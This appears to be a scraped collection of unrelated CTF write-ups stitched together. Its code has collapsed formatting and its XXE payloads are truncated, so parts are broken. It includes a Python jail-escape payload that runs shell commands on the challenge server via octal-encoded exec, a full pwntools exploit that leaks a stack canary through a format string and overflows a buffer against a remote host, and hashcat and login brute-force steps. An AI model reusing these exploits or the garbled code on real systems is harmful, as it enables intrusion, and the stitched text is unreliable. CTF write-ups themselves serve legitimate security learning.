___# seed_(rev, 249 points, 342 solves)_ Having a non-weak seed when generating "random" numbers is super important! Can you figure out what is wrong with this PRNG implementation? `seed.py` is the Python script used to generate the flag for this challenge. `log.txt` is the output from the script when the flag was generated. What is the flag? [seed.py](./seed.py) | [log.txt](./log.txt)___
# eHaCON CTF 2K21 ## Skipping the Ropes > Impressed by your skills, Caeser offers you a file to make something out of it.>>> [`cipher`](cipher.txt) ## Summary > As mentioned in the File name the encrypion should be caesar cipher> > Lets try it out !!!>>I choose online plaforms to solve this (I Personally use dcode.fr)> It works ## Flag```> EHACON{3NC0D3D_W1TH_R0T}```
**Author : [@98_m16](http://twitter.com/98_m16)** Maximum 6 lines of code ;-) saved as `xorpals.py` ## Solution```from pwn import * with open('flags.txt', 'r') as f: for i in f.readlines(): for j in range(256): print(xor(bytes.fromhex(i), j))``` ## Execution```python xorpals.py | grep dam{```And you got the flag.
# Warmup ## Description >By se3ing the file we infer that its a binary file >which is grouped by [8](8) and classified by [!](!)which gives a byte. >Here i use sed and replace the ! with spaces... ## Execution ```root@kali~$: sed -e "s/!/ /g" < warmup_modified.txt``` ## Result > Eventually converted the binary to ascii. Flag: ```EHACON{4ll_7h3_b35T} ```
# **RSA 1** # Description ```I have a lot of big numbers. Here, have a few!``` -----big_numers.txt **We know it's a easy rsa challenge, where we are given with n,e,c to solve this** **I use dcode.fr for instantly** [https://github.com/palanioffcl/CTF-Writeups/blob/main/Deconstruct%20CTF/rsa%20deconstruct.png](http://) Here we use RsaCtfTool to solve :) ```root@kali:~/RsaCtfTool# python3 RsaCtfTool.py -n 23519325203263800569051788832344215043304346715918641803 -e 71 \--uncipher 10400286653072418349777706076384847966640064725838262071 private argument is not set, the private key will not be displayed, even if recovered. [*] Testing key /tmp/tmps9_oxcq2. [*] Performing mersenne_primes attack on /tmp/tmps9_oxcq2. 24%|███████████████████████████████████ | 12/51 [00:00<00:00, 262144.00it/s] [*] Performing smallq attack on /tmp/tmps9_oxcq2. [*] Performing pastctfprimes attack on /tmp/tmps9_oxcq2. 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 113/113 [00:00<00:00, 973216.33it/s] [*] Performing fibonacci_gcd attack on /tmp/tmps9_oxcq2. 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 264363.22it/s] [*] Performing system_primes_gcd attack on /tmp/tmps9_oxcq2. 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 7007/7007 [00:00<00:00, 1218469.66it/s] [*] Performing factordb attack on /tmp/tmps9_oxcq2. [*] Attack success with factordb method ! Results for /tmp/tmps9_oxcq2: Unciphered data : HEX : 0x6473637b7430305f6d7563685f6d3474685f383839387d INT (big endian) : 9621269132073872010525638902903988134500010392708266109 INT (little endian) : 11993657127041496499871362328745731192598296696556057444 utf-8 : dsc{t00_much_m4th_8898} STR : b'dsc{t00_much_m4th_8898}' ``` ## Flag -----`**dsc{t00_much_m4th_8898}**`
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#persistence-pays-off--100pts) (https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/NTA.md#persistence-pays-off--100pts)
# Writeup: library-of-babel ## Challenge Description > Legend has it there is a secret somewhere in this library. Unfortunately, all of our Babel Fishes have gotten lost and the books are full of junk.> > _Note: You do not need a copy of Minecraft to play this challenge._ \> The flag is in standard flag format. ## Solution ### 1. Analyzing the files We are given a folder which ressembles the contents of a minecraft world file structure. Even though the description states we don't need a copy of minecraft to solve the challenge,I thought having a look at it in Minecraft would give us a bigger picture & help us solve thechallenge. _Note: This is how I solved the challenge during the CTF. Opening the world in minecraft is purely optional & only makes finding the location of the book contents easier._ ### 2. Inspecting the minecraft world Copying the folder into the minecraft saves directory (in my case: `%USERPROFILE%\AppData\Roaming\.minecraft\saves`) and launching the game will load the world into the game so we can join it. Once the world is loaded, we can see a bunch of books on "bookstands" or __lecterns__. If we open one of these books we can see a bunch of random characters.![Random characters](https://raw.githubusercontent.com/edcod3/ctf-writeups/master/damCTF-2021/misc/library-of-babel/random_book_text.jpg "Random characters") We can assume that the flag is hidden in one of the many books in the library & that we have to programmatically find the exact book/page with the flag in it. ### 3. NBTExplorer & analyzing chunk data So how can we find the book which has the flag in it? \Searching for an answer on google, I came across this [reddit post](https://www.reddit.com/r/Minecraft/comments/38ahc2/looking_through_world_data_trying_to_find_a/). A user suggest using the tool [NBTExplorer](https://github.com/jaquadro/NBTExplorer), which can parse `.mca` files. \These are the files that are most interesting to us, because they contain the map/chunk data, for example book contents. More information about the file format can be found [here](https://minecraft.fandom.com/wiki/Anvil_file_format). We can start with the biggest file (`r.-1.0.mca`) as the chances of the flag being in this file is the biggest, because it contains the most data/books (maybe even all of them). Opening the file in `NBTExplorer` gives us the following output: ![NBTExplorer output](https://raw.githubusercontent.com/edcod3/ctf-writeups/master/damCTF-2021/misc/library-of-babel/nbtexplorer_output.jpg "NBTExplorer output") We can see that the file is split into chunks, but which chunks have books inside them and how can we parse the page contents? \Instead of manually checking each chunk in NBTExplorer until we find a book (which is probably what I would have done if I hadn't had a copy of minecraft), we can just check which chunk contains a book inside of Minecraft itself! Go back to Minecraft & press `F3` to open the debug screen. Then walk to a book/lectern & read the chunk location from the debug screen. ![Minecraft chunk location](https://raw.githubusercontent.com/edcod3/ctf-writeups/master/damCTF-2021/misc/library-of-babel/chunk_location.jpg "Minecraft chunk location") Now we locate the exact chunk in the NBTExplorer & find the book contents. ![NBTExplorer chunk data](https://raw.githubusercontent.com/edcod3/ctf-writeups/master/damCTF-2021/misc/library-of-babel/nbtexplorer_chunk_data.jpg "NBTExplorer chunk data"). We can see that the page contents are located in `TileEntities->Book->tag->pages`. So now that we know where to find the contents of a book, let's create a script that goes through every book in every chunk & checks if the flag is in one of the page texts. ### 4. Flag extraction To automate the text extraction, I used the [anvil-parser](https://pypi.org/project/anvil-parser/) package. Then I wrote a python script that iterates over every chunk (NBTExplorer shows us that the first chunk is _Chunk[0, 0]_ and the last chunk is _Chunk[31, 31]_), extracts the page contents & check if the substring `dam{` is present in the text. ```pythonimport anvilimport re region = anvil.Region.from_file("./region/r.-1.0.mca") for x in range(31): for z in range(31): try: chunk = anvil.Chunk.from_region(region, x, z) for te in chunk.tile_entities: if str(te["id"]) == "minecraft:lectern": pages = te["Book"]["tag"]["pages"] for page in pages: if "dam{" in str(page): #print(page) print(re.findall(r"dam{.*?}", str(page))[0]) else: continue else: continue except anvil.errors.ChunkNotFound as e: continue``` Running the python script gives us the flag. ## Flag: dam{b@B3l5-b@bBL3}
**Cat-0-Graphy** Description: *This cat loves hide and seek a lot. She has set some rules for the game. Get the rules right and find the flag.* 1. using zip2john--> ```$pkzip2$1*2*2*0*2a*1e*74427fb7*0*42*0*2a*7442*80ca*726d1ea6a78c1035d5b97cb6069f2ca0cf0441f6c5e8260eed80bd93db0641679403dbe00a22a94d1676*$/pkzip2$```2. As the title says its a Hashcat, using the help of description we can use hashcat rule for this ```hashcat -m 17210 '$pkzip2$1*2*2*0*2a*1e*74427fb7*0*42*0*2a*7442*80ca*726d1ea6a78c1035d5b97cb6069f2ca0cf0441f6c5e8260eed80bd93db0641679403dbe00a22a94d1676*$/pkzip2$' -a 0 /usr/share/wordlists/rockyou.txt -r rules/dive.rule``` (https://hashcat.net/wiki/doku.php?id=example_hashes) --> 17210 is pkzip uncompressed mode
# Include me## Description > Zero Dollar Security is hiring infosec enthusiast. Apply ASAP. Connect at chall.ctf-ehcon.ml:32104 ## Solution This application just has register function ![Register function](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/register.png) Use Burp Suite to intercept the request.- As we see, body of the request is XML- The response has the `username` has sent before --> This might contain XXE vulnerability ![Register function](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/register-burp.png) The first we try to read a file such as `/etc/passwd` ```xml ]> <root> <email>&ext;</email> <password>none</password> </root>``` ![XXE](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/read-file-xxe.png) That's good, continue reading other files such as `flag.txt`, `flag.php`... but I get nothing. When I'm trying to list directory, I receive a strange response having a newline character `\n` ![New hint](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/read-file-2.png) Nice, use another method to read or list directory. Because I knew this application use `PHP`, therefore I use PHP wrapper to read file- File `flag.php` is guessed ```xml ]> <root> <email>&ext;</email> <password>none</password> </root>``` ![Read file with PHP wrapper](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/read-file-base64.png) Okay good response, take this to base64 decode. Read this code a bit- It takes param `content` in request using `POST` method- Put `content` into created file with given `content` - Pass 2 file `.html` and `.pdf` to `/var/www/html/files/` ```php ```What did I get through this snippet code?- We can put our payload into a file `html` - A new directory `/var/www/html/files/` Well, observer new directory a bit ![Files directory](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/directory-before-post.png) Now, how can we capture the flag with controlable data HTML? Can we read file or list directory? We can definately do it with `iframe` tag in HTML--> LFI with iframe Replace body of `POST` method from XML to `content` ![POST method](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/post.png) My payload:- Diretory listing of `/` ![Content param in POST method](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/content.png) After send the request, F5 the application we will get new files ![After post](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/directory-after-post.png) Nice, check out content of file `result.pdf` ![List directory in /](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/list-directory.png) Where is the flag? Ah, it's in `/ctf/`. List directory in `/ctf/` ![List directory in /ctf/](https://raw.githubusercontent.com/greybtw/write-up-CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/list-directory-ctf.png) The flag was captured ?? ```Flag is : EHACON{lf1_@nd_xx3_1s_fun}```
**Skipping the Ropes** Description: *Impressed by your skills, Caeser offers you a file to make something out of it.* - It is Rot13 encoded `RUNPBA{3AP0Q3Q_J1GU_E0G}` --> after decrypt it using (cyberchef) , we will get flag FLAG: `EHACON{3NC0D3D_W1TH_R0T}`
# I Want to Break Free by HexPhoenix I want to break free... from this Python jail. nc 143.198.184.186 45457 ## Analysis In this challenge we were given a zip file named `jailpublic.zip`. It contains 2 files, `blacklist.txt` and `jail.py`. #### jail.py ```python#!/usr/bin/env python3 #!/usr/bin/env python3 def server(): message = """ You are in jail. Can you escape?""" print(message) while True: try: data = input("> ") safe = True for char in data: if not (ord(char)>=33 and ord(char)<=126): safe = False with open("blacklist.txt","r") as f: badwords = f.readlines() for badword in badwords: if badword in data or data in badword: safe = False if safe: print(exec(data)) else: print("You used a bad word!") except Exception as e: print("Something went wrong.") print(e) exit() if __name__ == "__main__": server()``` It seems that the program will execute if it doesn't contain any string in `blacklist.txt`. So, let's take a look at `blacklist.txt`. #### blacklist.txt ```catgrepnanoimportevalsubprocessinputsysexecfilebuiltinsopendictexecfordirfileinputwritewhileechoprintintos``` Since the blacklist didn't contain "exec", we could use it to our advantage. To make it difficult to read by python, we could use another way to interpret the character. For example we can try to use octal here so the python wouldn't detect it as the string they backlisted. (Reference: [bypass-python-sandboxes](https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes)). First we need to read or list what is inside the directory.```pythonexec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")```If we convert those octal numbers to string, it will turn into: `__import__('os').system('ls')`. ![](iwanttobreakfree(ls).png) There is `cf7728be7980fd770ce03d9d937d6d4087310f02db7fcba6ebbad38bd641ba19.txt` inside the directory and I think that may be the flag. Convert our payload into octal again and wrap it with exec(""). Now we use this payload to read the flag `"__import__('os').system('cat cf7728be7980fd770ce03d9d937d6d4087310f02db7fcba6ebbad38bd641ba19.txt')"`. Payload:```pythonexec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\143\141\164\40\143\146\67\67\62\70\142\145\67\71\70\60\146\144\67\67\60\143\145\60\63\144\71\144\71\63\67\144\66\144\64\60\70\67\63\61\60\146\60\62\144\142\67\146\143\142\141\66\145\142\142\141\144\63\70\142\144\66\64\61\142\141\61\71\56\164\170\164\47\51")``` Now all we need to do is just send the payload into the program![](iwanttobreakfree(cat).png) Flag: `kqctf{0h_h0w_1_w4n7_70_br34k_fr33_e73nfk1788234896a174nc}`
# Tweety Birb Pretty standard birb protection (nc 143.198.184.186 5002) ## Analysis In this challenge we were given an ELF-64bit named `tweetybirb` with canary, NX enabled, and no PIE. ```$ file tweetybirb; checksec tweetybirb tweetybirb: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b4d4948472c96835ae212febfaa1866e0cfa3082, for GNU/Linux 3.2.0, not stripped[*] '/home/kali/Documents/killerqueen/tweetybirb' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` Let's try to run it ![](img/tweety-run.png) It seems that the program will return the input that we give in the first input and than for the second input, the program returns nothing. Let's open the program using ida to see what the source code looks like. #### main function```cint __cdecl main(int argc, const char **argv, const char **envp){ __int64 v3; // rbp __int64 v4; // rdx int result; // eax unsigned __int64 v6; // rdx unsigned __int64 v7; // rt1 __int64 v8; // [rsp-58h] [rbp-58h] unsigned __int64 v9; // [rsp-10h] [rbp-10h] __int64 v10; // [rsp-8h] [rbp-8h] __asm { endbr64 } v10 = v3; v9 = __readfsqword(0x28u); sub_401090( "What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb prot" "ectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?", argv, envp); sub_4010D0(&v8;; sub_4010C0(&v8;; sub_401090("\nhmmm interesting. What about water fowl?", argv, v4); sub_4010D0(&v8;; result = 0; v7 = __readfsqword(0x28u); v6 = v7 ^ v9; if ( v7 != v9 ) result = sub_4010A0(&v8, argv, v6); return result;}``` From the source code, there is another function that caught my eyes. It's a `win` function. Let's take a look. #### win```c__int64 win(){ __asm { endbr64 } return sub_4010B0("cat /home/user/flag.txt");}``` From the main function, it seems that we need to overflow the input and jump into the flag function. But since the program has canary enabled, we need to find the canary first to add into our payload. Otherwise it will detect that we were stack smashing. Let's use gdb to find the **canary**. First, disassemble the main function to find the canary parts.```gdb-peda$ pdisas mainDump of assembler code for function main: 0x00000000004011f2 <+0>: endbr64 0x00000000004011f6 <+4>: push rbp 0x00000000004011f7 <+5>: mov rbp,rsp 0x00000000004011fa <+8>: sub rsp,0x50 0x00000000004011fe <+12>: mov rax,QWORD PTR fs:0x28 <-- this is the canary 0x0000000000401207 <+21>: mov QWORD PTR [rbp-0x8],rax 0x000000000040120b <+25>: xor eax,eax 0x000000000040120d <+27>: lea rdi,[rip+0xe0c] # 0x402020 0x0000000000401214 <+34>: call 0x401090 <puts@plt> 0x0000000000401219 <+39>: lea rax,[rbp-0x50] 0x000000000040121d <+43>: mov rdi,rax 0x0000000000401220 <+46>: mov eax,0x0 0x0000000000401225 <+51>: call 0x4010d0 <gets@plt> 0x000000000040122a <+56>: lea rax,[rbp-0x50] 0x000000000040122e <+60>: mov rdi,rax 0x0000000000401231 <+63>: mov eax,0x0 0x0000000000401236 <+68>: call 0x4010c0 <printf@plt> 0x000000000040123b <+73>: lea rdi,[rip+0xeb6] # 0x4020f8 0x0000000000401242 <+80>: call 0x401090 <puts@plt> 0x0000000000401247 <+85>: lea rax,[rbp-0x50] 0x000000000040124b <+89>: mov rdi,rax 0x000000000040124e <+92>: mov eax,0x0 0x0000000000401253 <+97>: call 0x4010d0 <gets@plt> 0x0000000000401258 <+102>: mov eax,0x0 0x000000000040125d <+107>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000401261 <+111>: xor rdx,QWORD PTR fs:0x28 0x000000000040126a <+120>: je 0x401271 <main+127> 0x000000000040126c <+122>: call 0x4010a0 <__stack_chk_fail@plt> 0x0000000000401271 <+127>: leave 0x0000000000401272 <+128>: ret End of assembler dump.``` Next, break the address `0x0000000000401207` or `main+21````gdb-peda$ b *main+21Breakpoint 1 at 0x401207``` Now run the program again inside gdb. Since the canary saved in the rax (`mov rax,QWORD PTR fs:0x28`, mov means move, so the canary will be saved in the rax). We could check or examine the `$rax` register.```gdb-peda$ rStarting program: /home/kali/Documents/killerqueen/tweetybirb [----------------------------------registers-----------------------------------]RAX: 0x456eeae89ccf3d00 <-- this is the value of the canaryRBX: 0x0 RCX: 0xc00 ('')RDX: 0x7fffffffe038 --> 0x7fffffffe39b ("COLORFGBG=15;0")RSI: 0x7fffffffe028 --> 0x7fffffffe36f ("/home/kali/Documents/killerqueen/tweetybirb")RDI: 0x1 RBP: 0x7fffffffdf30 --> 0x4012e0 (<__libc_csu_init>: endbr64)RSP: 0x7fffffffdee0 --> 0x7fffffffe038 --> 0x7fffffffe39b ("COLORFGBG=15;0")RIP: 0x401207 (<main+21>: mov QWORD PTR [rbp-0x8],rax)R8 : 0x0 R9 : 0x7ffff7fe21b0 (<_dl_fini>: push rbp)R10: 0xfffffffffffff287 R11: 0x7ffff7e65cd0 (<__GI__IO_setvbuf>: push r14)R12: 0x4010f0 (<_start>: endbr64)R13: 0x0 R14: 0x0 R15: 0x0EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x4011f7 <main+5>: mov rbp,rsp 0x4011fa <main+8>: sub rsp,0x50 0x4011fe <main+12>: mov rax,QWORD PTR fs:0x28=> 0x401207 <main+21>: mov QWORD PTR [rbp-0x8],rax 0x40120b <main+25>: xor eax,eax 0x40120d <main+27>: lea rdi,[rip+0xe0c] # 0x402020 0x401214 <main+34>: call 0x401090 <puts@plt> 0x401219 <main+39>: lea rax,[rbp-0x50][------------------------------------stack-------------------------------------]0000| 0x7fffffffdee0 --> 0x7fffffffe038 --> 0x7fffffffe39b ("COLORFGBG=15;0")0008| 0x7fffffffdee8 --> 0x4012d5 (<bufinit+98>: nop)0016| 0x7fffffffdef0 --> 0x2 0024| 0x7fffffffdef8 --> 0x40132d (<__libc_csu_init+77>: add rbx,0x1)0032| 0x7fffffffdf00 --> 0x0 0040| 0x7fffffffdf08 --> 0x0 0048| 0x7fffffffdf10 --> 0x4012e0 (<__libc_csu_init>: endbr64)0056| 0x7fffffffdf18 --> 0x4010f0 (<_start>: endbr64)[------------------------------------------------------------------------------]Legend: code, data, rodata, value Breakpoint 1, 0x0000000000401207 in main () ``` Nice, we got the value of the canary. Now let's leak the canary using format string. We can assume the program has `format string` vulnerability because it prints the input that we give in the first input. So, let's try it out!```$ ./tweetybirb What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb protectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p0x7f6fe65ada03 (nil) 0x7f6fe65ad980 0x7ffd77d44210 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x702520 0x7ffd77d44350 0x9df5241bd4ecd00 0x4012e0 0x7f6fe6415d0a 0x7ffd77d44358 0x177d44669 0x4011f2hmmm interesting. What about water fowl?``` Great! We can use this to leak the canary. Now let's break the `main+21` again and then check the rax and use the payload of `%p`, 20 times to brute-force the canary. #### Check the canary value in the `$rax` register```gdb-peda$ b *main+21Breakpoint 1 at 0x401207gdb-peda$ rStarting program: /home/kali/Documents/killerqueen/tweetybirb [----------------------------------registers-----------------------------------]RAX: 0xb953497b80b9b700 RBX: 0x0......``` #### Brute-forcing the format input to get the same value with the `$rax````gdb-peda$ cContinuing.What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb protectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p0x7ffff7fada03 (nil) 0x7ffff7fad980 0x7fffffffdee0 (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x702520 0x7fffffffe020 0xb953497b80b9b700 0x4012e0 0x7ffff7e15d0a 0x7fffffffe028 0x1ffffe349 0x4011f2hmmm interesting. What about water fowl?``` From the output above, if we check the value of `$rax` and the output. The value were the same in the 15th %p. So to check it again, we will use %15$p which is the same with %p for 15 times and only get the last value. #### Check the canary value in the `$rax` register - Payload Check```gdb-peda$ rStarting program: /home/kali/Documents/killerqueen/tweetybirb [----------------------------------registers-----------------------------------]RAX: 0xdaec4cdae35f1500 RBX: 0x0......``` #### Payload Check```gdb-peda$ cContinuing.What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb protectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?%15$p0xdaec4cdae35f1500hmmm interesting. What about water fowl?``` It is the same! All according to the plan. Now we could try to overflow the second input. Since the program will check the canary in the `main+111`, we could check the offset by examining the `$rdx````gdb-peda$ b *main+111Breakpoint 2 at 0x401261gdb-peda$ pattern create 100'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'gdb-peda$ rStarting program: /home/kali/Documents/killerqueen/tweetybirb What are these errors the compiler is giving me about gets and printf? Whatever, I have this little tweety birb protectinig me so it's not like you hacker can do anything. Anyways, what do you think of magpies?nicenicehmmm interesting. What about water fowl?AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL ...... gdb-peda$ x/gx $rdx0x4134414165414149: Cannot access memory at address 0x4134414165414149gdb-peda$ pattern offset 0x41344141654141494698452060381725001 found at offset: 72``` Nice, we got the offset/padding. Now we need to know the address of `win` function.```gdb-peda$ info funcAll defined functions: Non-debugging symbols:0x0000000000401000 _init0x0000000000401090 puts@plt0x00000000004010a0 __stack_chk_fail@plt0x00000000004010b0 system@plt0x00000000004010c0 printf@plt0x00000000004010d0 gets@plt0x00000000004010e0 setvbuf@plt0x00000000004010f0 _start0x0000000000401120 _dl_relocate_static_pie0x0000000000401130 deregister_tm_clones0x0000000000401160 register_tm_clones0x00000000004011a0 __do_global_dtors_aux0x00000000004011d0 frame_dummy0x00000000004011d6 win0x00000000004011f2 main0x0000000000401273 bufinit0x00000000004012e0 __libc_csu_init0x0000000000401350 __libc_csu_fini0x0000000000401358 _fini``` Lastly, we need to get the return address. So when we overwrite the stack, we could change the instruction to return to flag function. To get the return address, we could use ROPgadget.```$ ROPgadget --binary tweetybirb | grep "ret"...0x000000000040101a : ret...``` ## Exploit Let's make a solver using python```pythonfrom pwn import * win = 0x00000000004011dbret = 0x0000000000401272 offset = 72 s = process("./tweetybirb") print(s.recvline().decode()) s.sendline(b"%15$p") canary = int(s.recvline().decode(), 16)log.info("Canary: {}".format(hex(canary)))print(s.recvline().decode()) payload = b"A"*offsetpayload += p64(canary)payload += p64(ret)payload += p64(win) s.sendline(payload) print(s.recvall()) s.close()``` Now we need to do is just run the program to make sure it works! ![](img/tweety-local.png) Since it works, lets test on remote server by adding host, port and replacing `s = process("./tweetybirb")` to `s = remote(host, port)````pythonfrom pwn import * win = 0x00000000004011dbret = 0x0000000000401272 offset = 72 host = "143.198.184.186"port = 5002 # s = process("./tweetybirb")s = remote(host, port) print(s.recvline().decode()) s.sendline(b"%15$p") canary = int(s.recvline().decode(), 16)log.info("Canary: {}".format(hex(canary)))print(s.recvline().decode()) payload = b"A"*offsetpayload += p64(canary)payload += p64(ret)payload += p64(win) s.sendline(payload) print(s.recvall()) s.close()``` Now all we need to do is just run the program! ![](img/tweetybirb.png) Flag: `kqctf{tweet_tweet_did_you_leak_or_bruteforce_..._plz_dont_say_you_tried_bruteforce}`
# Bomb DefusalWe got a login console malware :-P ## Target[\*] Find Password [\*] Get The FLAG!!!!!! ## Solutionlets head to analysis the malware using IDA Pro.![](images/1.png)Here We get a lot things**[\-] the malware write bat script called `temp.bat` and write `0%|0%`****[\-] Also its request for password and check if it equal to 00000000, Length = 7****[\-] if we enter the password correct it will call function named `winner`****[\-] Lets Jump to it :D**![](images/2.png)**[\-] Here it will Print not that easy or something like this****[\-] But there is someting intersting we got string "akf\`|600abe0cc7bf15764460Xd7i\`u3stX7iXC6aart6i\`Xso4Xe7jez\`", and XOR key 0x07****[\-] the string used in the code but not printed....****[\-] Xor this string with 0x07 we will get the flag...**## YES THATS EASY :-Pflag{177feb7dd0ea62013317_c0ngr4ts_0n_D1ffus1ng_th3_b0mb}
# Packet capture challenges## Monstrum ex Machina1. In this challenge we are given a pcap file and are asked to locate a search query where the attacker searched for the victim's name.2. Since packet captures are long, it is generally a good idea to use the wireshark filters to narrow down your search space. In this example, we know that the search engines make a HTTP GET request. So we have to just look at the responses received for the HTTP GET requests.3. When going through the pcap file, the victim's name is present in packet number 7019, as shown in the screenshot below. ![image](https://user-images.githubusercontent.com/78410304/137625134-ba341e2a-227c-4b15-83c2-5989c4a7343f.png) 4. Flag : flag{charles geschickter} # Programming challenges## The count1. In this challenge we are given the IP address and port of a remote server. When we connect to the port using netcat, the server prints a word and we have to calculate the sum of its digits (where a=0, b=1, etc.) and send it to the server within 5 seconds.2. This challenge can be solved using pwntools. My script is as follows:```pythonfrom pwn import *conn = remote('code.deadface.io',50000) conn.recvuntil(b'Your word is: ')word = conn.recvline()word = word.decode('utf-8').strip()cnt=0for letter in word: cnt+=(ord(letter)%97)conn.sendline(bytes(str(cnt), 'utf-8'))data=conn.recv()print(data)```3. flag: flag{d1c037808d23acd0dc0e3b897f344571ddce4b294e742b434888b3d9f69d9944} ## Trick or treat1. In this challenge, we are given a game where the player is supposed to dodge the multiple enemies headed its way. We have been given the source code of the game.2. When the player crashes into the enemy, a prompt saying "death" appears and the game exits. So the solution to this challenge is to stop the prompt appearing so that even if player crashes into the enemy, the exit condition is never triggered.3. In line 152, we can comment the do\_coll() function that is responsible for the collisions. Now run the game and the flag is printed on the terminal```pythondef get_intersect(x1, x2, w1, w2, y1, y2, h1): if y1 < (y2 + h1): if x1 > x2 and x1 < (x2 + w2) or (x1 + w1) > x2 and (x1 + w1) < (x2 + w2): #do_coll() pass```4. Flag : flag{CaNT\_ch34t\_d34th} # Reversing challenges## Cereal1. In this challenge we are given an ELF file that asks for a passphrase and checks if it is the same as the flag or not. 2. In the following screenshot, we can see that the do while loop does some computation and stores it in a buffer.![image](https://user-images.githubusercontent.com/78410304/137625893-bba1b2ce-8e09-4d47-ac85-3c91bb445af0.png)3. The solution is to load this file into GDB, set a breakpoint anywhere after the flag is stored in the buffer, and read the flag.```gdb(gdb) x/32s $rsp0x7fffffffdc20: "flag{c0unt-ch0cula-cereal-FTW}"```4. Flag : flag{c0unt-ch0cula-cereal-FTW} # SQL challenges## Demonne1. In this challenge, we are given a dump of a SQL database. We are asked to find the number of records in the customers table. 2. The solution is to load the file in Mysql database and count the rows in it.```mysqlmysql> create database demonne;Query OK, 1 row affected (0.05 sec) mysql> use demonne;Database changedmysql> source demonne.sql;mysql> select count(*) from customers;+----------+| count(*) |+----------+| 10000 |+----------+1 row in set (0.01 sec)```3. Flag : flag{10000} ## Demonne 2 1. In this challenge, we have to use the same sql dump file from above and find the foreign key used in the loans table.2. Open the demonne.sql file and goto the query where loans table is created and look for foreign keys.3. Flag : flag{fk_loans_cust_id}
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/SQL.md#body-count--10pts) (https://github.com/piyagehi/CTF-Writeups/blob/main/2021-DEADFACE-CTF/SQL.md#body-count--10pts)
# Cha-Cha-ChaWe got a login page with **captcha**, also they provide us with **[Top 100 User List](top100usernames.txt)** , so we have to get in ## Target[\*] Bypass the captcha [\*] Brutefource login credentials ## Solutionthe captcha was easy to bypass any orc reader can solve it :D![](captcha.jpg)After research i got free orc reader named **Tesseract-OCR**now we have to do simple brutefource script i will provide my script below not that much efficiency but its work ^_^**Script [Link](Program.cs)**After running the script we will get the credentials**User : AURORA$JIS$UTILITY$****Pass: AURORA$JIS$UTILITY$**now all we need login into the chall website and view page source search for the flag and yey we got it :D**flag : Flag{mSRQn7vjmiBSCBFuVJKd_not_so_effective_captcha}**
**Snow White** Description : *Mr. white talks to his friend using images. Can't see what he talks.* - If we use strings on given image we can found its a `steghide`.- using steghide tool to extract a file `secret.txt` with empty passphrase.- If we can see there is nothing inside the secret.txt, if we look carefully its a `whitespace` encoding - we can use` stegsnow` or online decoder like `(dcode.fr)` to get the flag. FLAG: `EHACON{Y0u_R3@D_1t_R1gHt}`
